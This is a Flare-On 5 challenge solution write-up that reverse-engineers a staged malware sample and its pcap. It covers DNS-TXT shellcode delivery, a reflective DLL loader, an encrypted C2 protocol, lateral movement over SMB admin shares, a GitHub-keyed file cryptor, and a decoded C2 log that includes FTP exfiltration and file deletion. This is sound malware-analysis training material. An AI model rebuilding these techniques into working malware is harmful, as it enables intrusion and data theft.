Flare-On 5: Challenge 11 Solution

Challenge Author: Jay Smith

Challenge 11 involved a combination of malware analysis and pcap analysis. Given a piece of malware and a pcap, extract the "stolen" challenge and recover the key.

Pcap Overview

There are a few things to note from a casual inspection of the pcap

- A large number of DNS requests for subdomains of `asdflkjsadf.notatallsuspicio.us`.
- A TCP stream between 192.168.221.91 and 52.0.104.200 port 9443 containing an unknown binary protocol.
- Two TCP streams between 192.168.221.105 and 192.168.221.91 containing SMB traffic.
- Two TLS-encrypted TCP streams that go to api.github.com and raw.githubusercontent.com.
- An FTP control channel and an FTP data channel.

SMB Traffic

The 192.168.221.091.49159-192.168.221.105.00445 SMB flow contains lateral movement. A `launchaccelerator.exe` file is copied to 192.168.221.105\ADMIN$. This file can be extracted with WireShark , resulting in a file with MD5 1ab5bcb6c4a03153953a3b5e55bfe19c. Also visible in WireShark following the file transfer is the creation of a new Windows service by calling `CreateServiceW` and `StartServiceW` via the `SVCCTL` named pipe. The BinaryPath is "`%SystemRoot%\launchaccelerator.exe -service`". The 192.168.221.091.49162-192.168.221.105.00445 SMB flow contains activity to the named pipe `\malaproppipe`.

FTP Traffic

The FTP control channel indicates that a file is to be uploaded to `/upload/level9.crypt` to 52.0.103.200:54733. This FTP data stream is present in the pcap, and has the MD5 81ce35acb25c57257e0517ff0f379e8c.

LaunchAccelerator.exe

This first stage executable is a 32-bit Delphi binary that contains two obvious functions of interest.

The function at 0x410948 is the installation function. It contains several single-byte XORed strings used for the installation. It first decodes the string "WEBLAUNCHASSIST_MUTEX" and uses it as a mutex name to ensure only one instance of the malware is running at a time, exiting the process if the object is already present. It then checks whether a file named "launchassist.exe" is present in the directory described by CSIDL_LOCAL_APPDATA, and copies itself to that location if not already present. It then enables persistent execution upon reboots by setting the value at `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LaunchAssist2018` to the copied malware.

The function at `0x41083C` decodes a buffer of shellcode into a new buffer and then jumps to it. The 0x442 byte-length buffer has the MD5 of 4c6ddb01af37a81202e76917d3551bea after decoding. The shellcode resolves the following Win32 API functions by using a ROR-13 that includes the DLL name as well:

- `LoadLibraryA`
- `VirtualAlloc`
- `Sleep`
- `lstrlenA`
- `ExitProcess`
- `DnsQuery_A`

Also in the decoded shellcode is the string `aaa.asdflkjsadf.notatallsuspicio.us`, which is the first DNS request seen in the pcap. The shellcode sends a series of DNS TXT record requests, modifying the DNS name on each successful request: a simple increment and wrap-around, changing the subdomain from 'aaa' to 'aab', 'aac', … 'aaz', 'aba', 'abb', 'abc', and so on until a response less than 0xff bytes is received. Each TXT record result appended to a buffer, and once the last message is received the shellcode converts the TXT record buffer to binary by taking every two bytes, subtracting 0x41 from the first and 0x61 from the second, and then shifting and adding the resulting nibbles to obtain the byte of data.

The two functions at offset 0x31e and 0x327 are used to decrypt the binary buffer before jumping to it. These functions are almost, but not quite, RC4 initialization and update. They use a 0xff-byte-sized state buffer and perform actions modulo 0xff (rather than 0x100 as defined in the algorithm). The first 0x10 bytes of the binary buffer is the RC4-modified key, followed by a DWORD that contains the true size of the second stage payload, followed by the encrypted second stage data.

Concatenating message 'aaa' to 'cla', ASCII decoding, and custom RC4-decrypting results in the second stage shellcode/DLL 0x33000 bytes long whose MD5 is 05a3070492c6c9ca596997d3a79fe570. Note that prior to jumping to the shellcode, the EBP register is still valid and points to a structure starting with the bytes 'DUDE'. Following this marker is a pointer to the downloaded shellcode, followed by the size of the received shellcode.

Second Stage shellcode/DLL: 05a3070492c6c9ca596997d3a79fe570

Inspecting the second stage shellcode may confuse you due to the presence of a valid MZ and PE structure. The start of the shellcode shown in Figure 1 calculates the offset to the DLL export function _Shiny@4, located at offset 0x9d30 in the raw file. Note that EBP is pushed prior to the call so that the 'DUDE' structure is available as a normal function argument.

```
seg000:00000000                          loc_0:
seg000:00000000 4D                       dec     ebp
seg000:00000001 5A                       pop     edx
seg000:00000002 E8 00 00 00 00 call      $+5
seg000:00000007 5B                       pop     ebx
seg000:00000008 52                       push    edx
seg000:00000009 45                       inc     ebp
seg000:0000000A 55                       push    ebp
seg000:0000000B 89 E5                    mov     ebp, esp
seg000:0000000D 81 C3 29 9D 00+add       ebx, 9D29h
seg000:00000013 FF D3                    call    ebx         ; 0x9d29 + 0x7 -> 0x9d30
seg000:00000013                                              ; Shiny export
seg000:00000015 8B E5                    mov     esp, ebp
seg000:00000017 5D                       pop     ebp
seg000:00000018 C3                       retn
```

Figure 1: Shellcode start

The `_Shiny@4` export is a reflective DLL loader. It searches backwards from its current location looking for a valid MZ PE header, and then resolves the following Win32 API functions via hash:

- `LoadLibraryA`
- `GetProcAddress`
- `VirtualAlloc`
- `NtFlushInstructionCache`

The `_Shiny@4` export then follows typical manual DLL process of allocating memory, copying PE sections, resolving import dependencies, and applying PE relocation fixups. It then calls the PE entry point, passing in a pointer to the `'DUDE'` structure as the third argument to the malware's DllMain. This parameter is marked as reserved in the official MSDN documentation, but in this case it's being used by the malware in a custom manner.

Malware initialization occurs next. The function `004034A0 loadApi` decrypts the strings of several DLL names and then calls `LoadLibraryA` on them. A common pattern to his malware first seen here is that nearly all Win32 API functions have a custom wrapper as shown in Figure 2, where the wrapper resolves via API hash the import the first time the function is called, before calling the API function.

```
.text:00401030 ; int __usercall doLoadLibrary@<eax>(LPCSTR lpLibFileName@<ecx>)
.text:00401030 doLoadLibrary proc near
.text:00401030 mov      eax, g_LoadLibraryA
```

```
.text:00401035 push    esi
.text:00401036 mov     esi, ecx
.text:00401038 test    eax, eax
.text:0040103A jnz     short loc_40104B
.text:0040103C mov     ecx, 726774Ch         ; kernel32.dll!LoadLibraryA
.text:00401041 call    resolveByHash2
.text:00401046 mov     g_LoadLibraryA, eax
.text:0040104B loc_40104B:
.text:0040104B push    esi                   ; lpLibFileName
.text:0040104C call    eax ; LoadLibraryA
.text:0040104E pop     esi
.text:0040104F retn
.text:0040104F doLoadLibrary endp
```

Figure 2: Win32 import wrap function

The string decryption function `0040B590 decryptStringClass` used when loading the required DLLs is used several times throughout the malware. Figure 3 contains all of the encoded strings that appear in the malware.

Encoded Bytes Address	Decoded String
0043253c	kernel32
00432534	ntdll
0043252c	shell32
00432524	user32
00432518	advapi32
00432510	ws2_32
00432508	gdi32
00432504	mpr
004324e8	wininet
004324f0	-service
00432580	\\%s\pipe\%s
00432560	\\.\pipe\%s
00432548	*.*

004325a0	COMSPEC
00432554	IPC$
00432610	ADMIN$
00432600	\\%s\%s
004325e0	\\%s\ADMIN$\%s
004325b0	%%SystemRoot%%\%s %s

Figure 3: Decrypted malware strings

The function `00403450 decodeConfig` decodes a 0x60c byte-length array with a 0x20 byte key, adding in a counter value as well. After decryption, the decoded config is shown in Figure 4. The malware verifies that the decoded configuration begins with the DWORD 0x20180301

```
00000000: 01 03 18 20 02 00 00 00  E3 24 00 00 61 6E 61 6C  ... .....$..anal
00000010: 79 74 69 63 73 2E 6E 6F  74 61 74 61 6C 6C 73 75  ytics.notatallsu
00000020: 73 70 69 63 69 6F 2E 75  73 00 00 00 00 00 00 00  spicio.us.......
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
...
00000100: 00 00 00 00 00 00 00 00  00 00 00 00 77 00 65 00  ............w.e.
00000110: 6C 00 63 00 6F 00 6D 00  65 00 70 00 61 00 73 00  l.c.o.m.e.p.a.s.
00000120: 73 00 31 00 21 00 31 00  00 00 00 00 00 00 00 00  s.1.!.1.........
00000130: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
...
00000300: 00 00 00 00 00 00 00 00  00 00 00 00 66 00 65 00  ............f.e.
00000310: 79 00 65 00 32 00 30 00  31 00 38 00 20 00 74 00  y.e.2.0.1.8. .t.
00000320: 63 00 70 00 20 00 63 00  6C 00 69 00 00 00 00 00  c.p. .c.l.i.....
...
00000400: 00 00 00 00 00 00 00 00  00 00 00 00 61 00 73 00  ............a.s.
00000410: 64 00 6C 00 69 00 75 00  67 00 61 00 73 00 6C 00  d.l.i.u.g.a.s.l.
00000420: 64 00 6D 00 67 00 6A 00  00 00 00 00 00 00 00 00  d.m.g.j.........
...
```

Figure 4: Decrypted confgiuration

The object created with constructor `004021A0 cls1_c2control_ctor` is a long-lived object used to manage C2 communications with the attacker. Its constructor does some basic initialization, including two calls to `00403090 pluginManagerCtor` which manages a data structure used to track plugins (more later). Of note is that the instance of cls1 stores a copy of the DUDE structure and a pointer to the configuration.

The `00402410 cls1_init` function performs important initialization, including creating most of the C++ objects used by the malware. This malware uses C++ polymorphism to implement a basic plugin system, all of which is thankfully compiled into the binary (rather than dynamically loaded over the network). You can find all of the classes by looking at cross references to the common parent vtable at `.rdata:0042F5FC plugin_parent_vtbl`. All of the descendent classes will references these in the (possibly-inlined) constructors and destructors. The first 5 entries of the vtable have the same meaning for all descendents; subsequent vtable entries are dependent on the specific type of plugin is being implemented:

0. Destructor helper
1. Get plugin ID. This is a single byte value that identifies the plugin
2. Get plugin type. This is a four-byte string that provides a strong hint to the purpose of the plugin, and also defines the general interface that the plugin implements.
3. Nop
4. Get plugin version. Returns a constant version string.

Appendix A contains a full listing of all plugins used by the malware, including their constructor location, their ID, Type, and basic description. Of note is that several plugins are saved as member variables to cls1 (`RAND` offset 0x54, `HASH` at 0x50, `CRPT` at 0x44, `COMP` at 0x48, and `HMAC` at 0x8f), and are added to the `pluginManager` at cls1 offset 0x80. All of the CMD type plugins are added to the `pluginManager` at cls1 offset 0x58.

Identifying the purpose of each plugin, and the specific algorithm can be challenging at first, especially as it requires diving into the virtual functions. A brief survey follows here

004097D0 cls93_ctor_rand

The function `00409940 cls93_vfunc06_getRandBytes` uses `CryptGenRandom()` to generate random bytes.

00409B70 cls8e_ctor_hash

The line in Figure 5loads a pointer to a structure containing information about the hash algorithm. Function pointers in this structure are referenced in `00409CA0 cls8e_vfunc06_hashData`.

```
.text:00409BD5 mov     [edi+(cls8e.f_20_hashStruct-20h)], offset g_Sha256HashInfo ;
0042F41C
```

Figure 5: cls8e reference to SHA256 information structure

This structure is shown in Figure 6, and contains function pointers that should hit on crypto magic values, such as `004056E0 sha256_init`, shown in Figure 7.

```
.rdata:0042F41C g_Sha256HashInfo dd 6
```

```
.rdata:0042F420 dd offset unk_42F5C8
.rdata:0042F424 dd 20h
.rdata:0042F428 dd 40h
.rdata:0042F42C dd offset sha256_init
.rdata:0042F430 dd offset sha256_update
.rdata:0042F434 dd offset sha256_finish
…
```

Figure 6: SHA256 Information Structure

```
.text:004056E0 sha256_init proc near
.text:004056E0 arg_0= dword ptr  8
.text:004056E0
.text:004056E0 push    ebp
.text:004056E1 mov     ebp, esp
.text:004056E3 mov     eax, [ebp+arg_0]
.text:004056E6 mov     dword ptr [eax], 0
.text:004056EC mov     dword ptr [eax+4], 0
.text:004056F3 mov     dword ptr [eax+8], 6A09E667h ; SHA256_H SHA256_H
.text:004056FA mov     dword ptr [eax+0Ch], 0BB67AE85h
.text:00405701 mov     dword ptr [eax+10h], 3C6EF372h
.text:00405708 mov     dword ptr [eax+14h], 0A54FF53Ah
...
```

Figure 7: SHA256 Initialization function with magic constants

004063E0 cls92_ctor_AES128_CFB

Identifying this as an AES variant is the first challenge, as it this implementation generates the AES tables dynamically in `00403AF0 aesTableInit`, so you must recognize this, the key expansion in `00403D20 aes_set_key`, or the actual encryption in `00404BA0 aes_crypt` functions. Identifying the key size should be obvious from how this is used, as 0x10 bytes are used in the set key function, resulting in AES128. Identifying the mode may be a challenge, but one trick is to note that there is no rounding of the input data size to be an even modulo the block size (as is usually required for ECB or CBC modes), so it's likely one of the stream cipher modes like CFB or OFB. `004051A0 aes_crypt_cfb` implements the process, and of note is that the IV is first encrypted/decrypted by the `00404BA0 aes_crypt function`, and the output is XORed with the input data to generate the output cipher text. This output is encrypted for the next block to generate the XOR byte streams, which should push you towards CFB mode.

0040A5B0 cls78_ctor_zlib

Some identifying copyright strings were removed, but some constant values should be identified by your favorite crypto identification tool like in Figure 8. Additionally seeing the ZLib struct setup in Figure 9 is typical, especially the version string reference, and is implemented as a commonly used macro for the library, so it behooves learning to recognize this pattern.

```
428E20: found const array zinflate_lengthExtraBits (used in zlib)
428EA8: found const array zinflate_distanceExtraBits (used in zlib)
```

Figure 8: ZLib constant identification

```
.text:0040A64C push    38h
.text:0040A64E mov     [esp+54h+var_3D], 0
.text:0040A653 mov     dword ptr [edi], 0
.text:0040A659 call    doMemset
.text:0040A65E add     esp, 4
.text:0040A661 mov     [esp+50h+var_10], 0
.text:0040A669 lea     eax, [esp+50h+var_38]
.text:0040A66D mov     [esp+50h+var_18], offset doLocalAlloc_0
.text:0040A675 mov     [esp+50h+var_14], offset doLocalFree_0
.text:0040A67D push    38h
.text:0040A67F push    offset a1211    ; "1.2.11"
.text:0040A684 push    0FFFFFFFFh
.text:0040A686 push    eax
.text:0040A687 call    zlibInit
```

Figure 9: ZLib initialization

00409990 cls8f_hmac_ctor proc near

This one may be challenging if you didn't take the HMAC plugin type to heart in `00409980 cls8f_vfunc02`. Figure 10 shows a snippet of `004052E0 hmac_init` where the outer padding (made up of the character 0x56) and the inner padding (made up of the character 0x36) are set.

```
.text:00405350 push    36h
.text:00405352 push    ecx
.text:00405353 mov     [ebp+var_4], ecx
.text:00405356 lea     edi, [ecx+eax]
.text:00405359 call    maybememset
.text:0040535E mov     eax, [ebx]
.text:00405360 push    dword ptr [eax+0Ch]
.text:00405363 push    5Ch
.text:00405365 push    edi
.text:00405366 call    maybememset
```

Figure 10: HMAC Padding buffers initialization

Additionally in the `00409990 cls8f_hmac_ctor constructor` a reference to the SHA256 info structure is added to the object, shown in Figure 11.

```
00409A15 mov     dword ptr [edi+(cls8f.f_40_hashInfoStruct-40h)], offset g_Sha256HashInfo
```

Figure 11: HMAC SHA256 Structure reference

After `00402410 cls1_init` returns, the malware either acts as a client by running `004029E0 cls1_runClient` or a server by running `004027A0 cls1_runServer`. Both call `004026E0 commsCreateHelper` which creates the appropriate network object, either a cls50 TCP network object or a cls51 Named Pipe network object.

`00402830 cls1_keyExchange` is used to perform a simple handshake to agree on key material to encrypt the communication between the malware and the C2 server. The malware generates a random buffer of 0x30 bytes, and then modifies the DWORDs at offset 8 and 0x10 as shown in Figure 12, setting them to the rotate-right-13 and the bitwise complement, respectively.

```
.text:00402866 mov     ecx, [edi+cls1.f_54_cls93_rand]
.text:00402869 lea     edx, [ebp+localRandBuff]
.text:0040286F mov     eax, [ecx]
.text:00402871 push    30h
.text:00402873 push    edx
.text:00402874 call    [eax+cls93_vtbl_Random.func_06] ; 0x00409940
.text:00402877 mov     ecx, dword ptr [ebp+localRandBuff]
.text:0040287A mov     eax, ecx
.text:0040287C ror     eax, 0Dh
.text:0040287F not     ecx
.text:00402881 mov     dword ptr [ebp+localRandBuff+8], eax
.text:00402887 mov     dword ptr [ebp+localRandBuff+10h], ecx
```

Figure 12: Preparing buffer for key exchange

The malware sends the buffer if it is a client, otherwise it receives 0x30 bytes when running as a server. It then performs the inverse, receiving a buffer if running as a client or sending the random buffer if running as a server. When the malware receives a 0x30-byte buffer, it ensures that the same relation among the DWORDs at offset 0, 8, and 0x10 are present. These two 0x30-byte random buffers are then XORed together along with the byte value 0xAA, then 0x10 bytes are set to the AES key and 0x20 bytes are set to the HMAC key, shown in Figure 13.

```
.text:004029A6 mov     ecx, [edi+cls1.f_44_cls92_aes_crypt]
.text:004029A9 lea     eax, [edi+cls1.f_04_aesKey]
.text:004029AC push    10h
.text:004029AE push    eax
.text:004029AF mov     edx, [ecx]
.text:004029B1 call    [edx+cls92_vtbl.func_06_setKey] ; 0x004064b0
.text:004029B4 mov     ecx, [edi+cls1.f_4c_cls8f_hmac]
.text:004029B7 lea     eax, [edi+cls1.f_14_hmacKey]
.text:004029BA push    20h
.text:004029BC push    eax
.text:004029BD mov     edx, [ecx]
.text:004029BF call    [edx+cls8f_vtbl.func_08_setKey] ; 0x00409ad0
```

Figure 13: AES and HMAC key set

`00402E90 cls1_recvMessage` specifies how the malware deserializes and verifies messages over the network. It first receives four bytes which are interpreted as three little-endian bytes making up a message size, followed by one byte indicating the HMAC plugin type, which this malware requires to be 0x8f. Immediately following the size/HMAC plugin type field is 0x20 bytes forming the HMAC value calculated over the remaining data in the message. If the HMAC is verified, the malware calls `00402E50 mungeHeader` to modify the six bytes following the HMAC. After the XORs, these six bytes make up a byte specifying the crypto plugin type (must be 0x92 for AES128 CFB), a byte specifying the compression type (must be 0x78 for ZLib), and a DWORD specifying the message size after decompression. Following these six bytes is 0x10-byte sized initialization vector for the crypto plugin. All of this can be described by the structure in Figure 14.

```
struct EnvelopeHeader {
    DWORD   msgLenHmacId;
    BYTE    hmac[0x20];
    union {
        struct {
            BYTE    cryptoType;
            BYTE    compressionType;
            DWORD   decompressLen;
        } clear;
        BYTE cipher[6];
    } posthmac;
    BYTE    iv[0x10];
};
```

Figure 14: EnvelopeHeader structure

The malware decrypts the buffer at `00402FAA` and decompresses it at `0040301`. The result data begins with a standard 0x1c-byte sized header shown in Figure 15. Before returning from `00402E90 cls1_recvMessage` the malware verifies that the sig field is `0x20180301` and that the crc32 field is the CRC32 checksum of all data starting at offset 4.

```
struct CommandHeader {
    DWORD crc32;
    DWORD sig;     // 0x20180301
    DWORD pluginId;
    DWORD command;
    DWORD msgId;
    DWORD status;
    DWORD extendedStatus;
};
```

Figure 15: CommandHeader structure

At `00402B29` the malware checks a flag whether the C2 server has authenticated, and if not only allows messages whose pluginId is 0x81 (MainC2) and command is 7 (Authenticate). The malware calls `00403340 findpluginById` to find he correct CMD plugin, and then calls the the plugin's `onReceive` virtual function at `00402C10`, shown in Figure 16. `00402C50 cls1_sendMsg` is of note as well, as it performs the inverse operation of preparing a message to send on the network.

```
.text:00402C06 push    [ebp+msgSize]
.text:00402C09 mov     edi, [ebp+msgPtr]
.text:00402C0C mov     ecx, [ebp+var_10]
.text:00402C0F push    edi
.text:00402C10 call    [eax+cls81_vtbl.func_07_onReceive] ;
.text:00402C10          ;     0x00408720: cls81_vtbl.func_07 (cls81_vfunc07)
.text:00402C10          ;     0x00407e30: cls87_vtbl.func_07 (cls87_vfunc07)
.text:00402C10          ;     0x00407180: cls82_vtbl.func_07 (cls82_vfunc07)
.text:00402C10          ;     0x004081d0: cls85_vtbl.func_07 (cls85_vfunc07)
.text:00402C10          ;     0x00408f70: cls84_vtbl.func_07 (cls84_vfunc07)
.text:00402C10          ;     0x0040a110: cls83_vtbl.func_07 (cls83_vfunc07)
```
Figure 16: Command object onReceive dispatch

Appendix B contains a full listing of the command plugins and the messages that they implement.

Cryptor.exe

This .NET executable is obfuscated using the common ConfuserEx obfuscator. De4dot handles most of the complexities, normalizing the symbol names so that they're readable in a tool like dnSpy. The tool is a utility used by the attackers, and has built-in help message of : `"Usage: {0} <outputfile> <infiles> ..."`.

The malware has an embedded url https://github.com/johnsmith2121/react/blob/master/README.md, which is a fork of the open source React JavaScript project. This URL isn't retrieved directly; instead the malware splits off parts of the URL and creates the URL https://api.github.com/repos/johnsmith2121/react/contents/README.md. Retrieving this yields a JSON object whose key `"download_url"` gives the raw download l ink for the file. The `"download_url"` is retrieved, and it then searches for substrings delimited by the strings `"[//]: # ("` and `")"`. These can be used to create comments in Markdown, which is why the raw download link was needed. The first eight bytes of this substring are saved off as a key ID to include in the output file, and the following bytes are Base64 decoded, yielding 0x10 bytes for a key and another 0x10 bytes for an IV.

After the keys are retrieved, the malware iterates over all files specified on the command line, adding them to a memory stream. Each file in the stream can be roughly described as that in Figure 17, containing information about the file path, the SHA256 hash, the file size, and the file bytes.

```
struct CryptarFileInfo {
    DWORD filePathLen;
    char  filePath[filePathLen];   // utf-8 encoded
    char  sha256[0x20];
    QWORD fileSize;
    char  fileContents[fileSize];
```

```
};
```

Figure 17: CryptarFileInfo pseudo-structure

This memory stream is encrypted with AES in CBC mode using the retrieved key and IV. Finally the output file is created, writing the header string "cryptar" followed by the 8-byte key ID followed by the contents of the encrypted memory stream.

Full Pcap Analysis

Using the information in the above sections, we can now dive into the activity in the 192.168.221.091.49157-052.000.104.200.09443 and 192.168.221.091.49162-192.168.221.105.00445 flows. Appendix D has a full breakdown of the c2 activity.

192.168.221.091.49157-052.000.104.200.09443

Following the key exchange handshake and c2 authentication, the attacker does some basic system reconnaissance querying the host survey, drive list, and a few directory listings. Some shell activity occurs, resulting in changing to the `c:\work\flareon2018\Challenge09` directory and running type on `README.md`, shown in Figure 18

```
# TODO By Larry

Larry is running late again. Check the wiki (http://wiki.flare.fireeye.com:8081) for latest updates.
```

Figure 18: README.md contents

This causes the attacker to ping `wiki.flare.fireeye.com` and then sets up a TCP proxy connection to `wiki.flare.fireeye.com`. The attacker retrieves the following HTTP paths over the proxy:

- `/`
- `/moin_static199/common/js/common.js`
- `/moin_static199/common/flare_logo64.png`
- `/moin_static199/modernized/css/print.css`
- `/moin_static199/modernized/css/common.css`
- `/moin_static199/modernized/css/screen.css`
- `/moin_static199/modernized/css/projection.css`
- `/moin_static199/modernized/img/moin-www.png`
- `/FlareProjects`
- `/FlareOn2018`
- `/FlareOn2018Challenge9`

The `/FlareOn2018Challenge9` file contains important information, a zip password of **`really_long_password_to_prevent_cracking`** will be needed later, shown in Figure 19.

Owner

Larry Johnson

Description

I'm trying some really hard steganography for my challenge this year. I'll upload the binary here at some point. For now I've got the challenge9.exe in a zip file on my work machine with the password **really_long_password_to_prevent_cracking** because our anti-virus keeps quarantining my challenge. I think IT keeps messing with the exclusions settings.

Important I haven't fully figured out how to automatically extract the protected text yet. To-be-determined.

Figure 19: FlareOn2018Challenge9 Wiki page

The attacker then performs lateral movement. The attacker provides a new encoded config section that is copied to the correct location in the copy of the malware stored in the `DUDE` struct. This is copied to 192.168.221.105 and launched as a Windows service by accessing the `ADMIN$` and `IPC$` shares by issuing RPC calls, as visible in the SMBv2 traffic in the pcap in WireShark. The attacker sets up a named pipe proxy to `\malaproppipe` on 192.168.221.105, which is the named pipe the malware on 192.168.221.105 is listening on, allowing the attacker to communicate with the newly compromised system.

192.168.221.091.49162-192.168.221.105.00445

This stream contains SMB traffic to the `\malaproppipe` named pipe on 192.168.221.105. The same binary protocol as described in the above sections is present, but interpreting this stream requires extracting the payloads from all of the SMBv2 WRITE requests and the SMBv2 READ responses.

After the crypto handshake and c2 server authentication, the attacker queries the loaded plugins and retrieves the host survey. They then activate a shell session and navigate to `c:\work\FlareOn2018_Challenge9`. They then upload the Cryptor.exe utility (93cc547f9adbd6a4366d3d8b415a77f1) and run it on `level9.zip`, generating `level9.crypt`. After deleting `level9.zip`, `level9.exe`, and `level9.png`, the attacker uploads `level9.crypt` via FTP, deletes `level9.crypt`, and then exits.

Examining `level9.crypt` shows that the key ID following the `'cryptar'` header is `20180810`. Hunting through the `johnsmit2121/react/README.md` history shows that the expected key string is `20180810YFaxYE39D6Ko6MDe6VuyIB006rlsxqgVEQW81PwRMQo=`.

After decrypting `level9.crypt` and recovering `level9.zip` (MD5 e5660aeb0add65feb53179dfaf4a5c97), we can unzip it using the password above to get the `level9.exe` and `level9.png` files.

Level9.exe is a really simple non-obfuscated .NET utility that takes a text string on the command line and writes it to a picture (in Comic-Sans), where the foreground color differs from the background color by only the least significant bit. Opening `level9.png` and playing with a flood-fill tool results in the answer, shown in Figure 20.

Figure 20: Final solution image

Appendix A: LaunchAccelerator.exe Object Listing

Ctor Location	ID	TYPE	Purpose
004021A0 cls1_c2control_ctor	N/A	N/A	Primary object for C2 interaction creates most other objects.
004097D0 cls93_ctor_rand	0x93	RAND	Random number generator, backed by CryptGenRandom()
00409B70 cls8e_ctor_hash	0x8e	HASH	SHA256 hash
004063E0 cls92_ctor_AES128_CFB	0x92	CRPT	AES128 in CFB mode encryption
0040A5B0 cls78_ctor_zlib	0x78	COMP	ZLib Compression
00409990 cls8f_hmac_ctor	0x8f	HMAC	SHA256 HMAC
00409D10 cls83_shell_ctor	0x8e	CMD	Shell command plugin
00407100 cls82_file_ctor	0x82	CMD	File command plugin
00408E60 cls84_proxy_ctor	0x84	CMD	Proxy command plugin
00407DD0 cls87_ftp_ctor	0x87	CMD	FTP command plugin
004080F0 cls85_lateral_ctor	0x85	CMD	Lateral spread command plugin
00406CF0 cls50_ctor_tcpComms	0x50	NET	TCP communications
00406670 cls51_ctor_pipeComms	0x51	NET	Named pipe communications

Appendix B: LaunchAccelerator.exe Command Table

Plugin	ID	CMD	Meaning
MainC2	0x81	2	Simple ping.
		3	Host survey, includes OS version, hostname, username, detection if running as Admin, and the memo field of the config (offset 0x30c).
		4	Exit process.
		5	Open a message box.
		6	Close the connection.
		7	Authenticate the C2 server. Compares an attacker string aginst offset 0x10c in the config.
		8	Queries loaded plugins.
File	0x82	1	Drive listing.
		2	Directory listing.
		6	Write to file.
		7	Complete file put.
		8	Create a file suitable for writing.
		9	Request file data.
		10	Complete file get.
		11	Create a file for reading from.
Shell	0x83	1	Create a new cmd.exe child process (based on COMSPEC env var).
		2	Shutdown child process.
		3	Write data to the stdin pipe handle of the child process.
		4	Response output from reading the stdout/stderr handle of the child process.

Proxy	0x84	1	Query active proxy connections.
		2	Transmit data to/from the active proxy connection.
		3	Disconnect the specified connection.
		4	Create a new proxy connection, using a new cls50_ctor_tcpComms object to implement the TCP network comms.
		5	Create a new proxy connection, using a new cls51_ctor_pipeComms object to implement the named pipe network comms.
Lateral	0x85	1	Create WNET connections to the ADMIN$ and IPC$ shares on the specified host, using the provided credentials.
		2	Disconnect from the remote host.
		3	Install and start a new service on the remote host. Uses the DUDE structure from the original shellcode, pointing to the raw second stage shellcode/DLL and its size. Copies the provided encoded config data to the DLL buffer, and modifies the PE turning it into an EXE. 00408680 fixupPeHeader validates the MZ and PE headers and the machine type, and then clears the IMAGE_FILE_DLL bit of the IMAGE_OPTIONAL_HEADER32.Characteristics field and updates the IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint, setting it to 00418DC7, which has a WinMain function located at 00403A20 winmain. This is run when the malware runs as an EXE and detects if it has the "-service" command line flag, causing it to run as a Windows service whose name is specified in the config at offset 0x50c.
		4	Stop and delete the specified Windows service on the remote machine.
FTP	0x87	1	Activate the WinInet session for FTP activity.
		2	Shutdown the WinInet FTP session.
		3	Uploads the specified local file via an FTP PUT command.

Appendix C: File listing

MD5	Name
4bdba4be0c4e06932b862ce06069b4ea	20180810_smith_challenge.zip TODO FIX The challenge zip file name
57a6e753e491b00819c1ee312e51cefa	LaunchAccelerator.exe: Provided stage 1 binary
9a2da62237b84aac6fe5d9b8d537041d	pcap.pcap: Provided pcap to analyze
4c6ddb01af37a81202e76917d3551bea	Decoded shellcode from stage 1
05a3070492c6c9ca596997d3a79fe570	Decoded 2nd stage DLL
81ce35acb25c57257e0517ff0f379e8c	level9.crypt, extracted from FTP data stream
1ab5bcb6c4a03153953a3b5e55bfe19c	Launchaccelerator.exe: Version sent over SMB
e5660aeb0add65feb53179dfaf4a5c97	Level9.zip, decrypted from level9.crypt
93cc547f9adbd6a4366d3d8b415a77f1	Cryptor.exe utility
e994ce800a60537c954a585fc2e3cab4	level9.exe
f3b1f97ff2f9fcb4aeea37c68d4171d5	level9.png

Appendix D: Processed output

The following is the output from running the example parse tool at https://github.com/jhsmith/flareon/flareon5_challenge11.

```
################################################################
Events:
authenticate: {'password': 'welcomepass1!1'}
shell_in: 'cd c:\\'
shell_in: 'dir'
shell_in: 'cd c:\\work'
shell_in: 'dir'
shell_in: 'cd c:\\work\\FlareOn2018_Challenge9'
shell_in: 'dir'
file_put: {'filepath': u'c:\\work\\FlareOn2018_Challenge9\\Cryptor.exe',
 'md5sum': '93cc547f9adbd6a4366d3d8b415a77f1'}
shell_in: 'dir'
shell_in: 'Cryptor level9.crypt level9.zip'
shell_in: 'dir'
shell_in: 'del level9.zip'
shell_in: 'del level9.exe'
shell_in: 'del level9.png'
ftp_activate: {'hostname': u'52.0.104.200',
 'password': u'',
 'port': 21,
 'username': u'anonymous'}
ftp_upload: {'localpath': u'c:\\work\\FlareOn2018_Challenge9\\level9.crypt',
 'remotepath': u'/upload/level9.crypt'}
shell_in: 'del level9.crypt'
shell_in: 'del Cryptor.exe'
shell_in: 'dir'
shell_deactiveate: None
exit: None
query_plugins: [{'id': '00000081',
  'name': '',
  'realname': 'MAINC2',
  'type': 'CMD ',
  'version': '1.5.0'},
 {'id': '00000083',
  'name': '',
  'realname': 'SHELL',
  'type': 'CMD ',
  'version': '1.2.0'},
 {'id': '00000082',
```

```
  'name': '',
  'realname': 'FILES',
  'type': 'CMD ',
  'version': '2.3.0'},
 {'id': '00000084',
  'name': '',
  'realname': 'PROXY',
  'type': 'CMD ',
  'version': '2.5.0'},
 {'id': '00000087',
  'name': '',
  'realname': 'FTP_EXFIL',
  'type': 'CMD ',
  'version': '1.1.0'},
 {'id': '00000085',
  'name': '',
  'realname': 'LATERAL',
  'type': 'CMD ',
  'version': '1.1.0'},
 {'id': '00000093',
  'name': '',
  'realname': 'CRYPTGENRANDOM',
  'type': 'RAND',
  'version': '1.0.3'},
 {'id': '0000008e',
  'name': '',
  'realname': 'HASHSHA256',
  'type': 'HASH',
  'version': '1.0.6'},
 {'id': '00000092',
  'name': '',
  'realname': 'AES128_CFB',
  'type': 'CRPT',
  'version': '1.0.9'},
 {'id': '00000078',
  'name': '',
  'realname': 'ZLIB',
  'type': 'COMP',
  'version': '1.2.11'},
 {'id': '0000008f',
  'name': '',
  'realname': 'HMACSHA256',
  'type': 'HMAC',
  'version': '1.0.9'}]
host_survey: {'default_locale': 1033,
```

```
 'host_id': '{f60f8b7b-63de-16f0-2448-02f52ae846c3}',
 'hostname': u'LARRYJOHNSON-PC',
 'malware_version': '3.0.8',
 'memo': u'feye2018 pipe srv',
 'os_version': '6.1.7601',
 'username': u'SYSTEM'}
shell_out
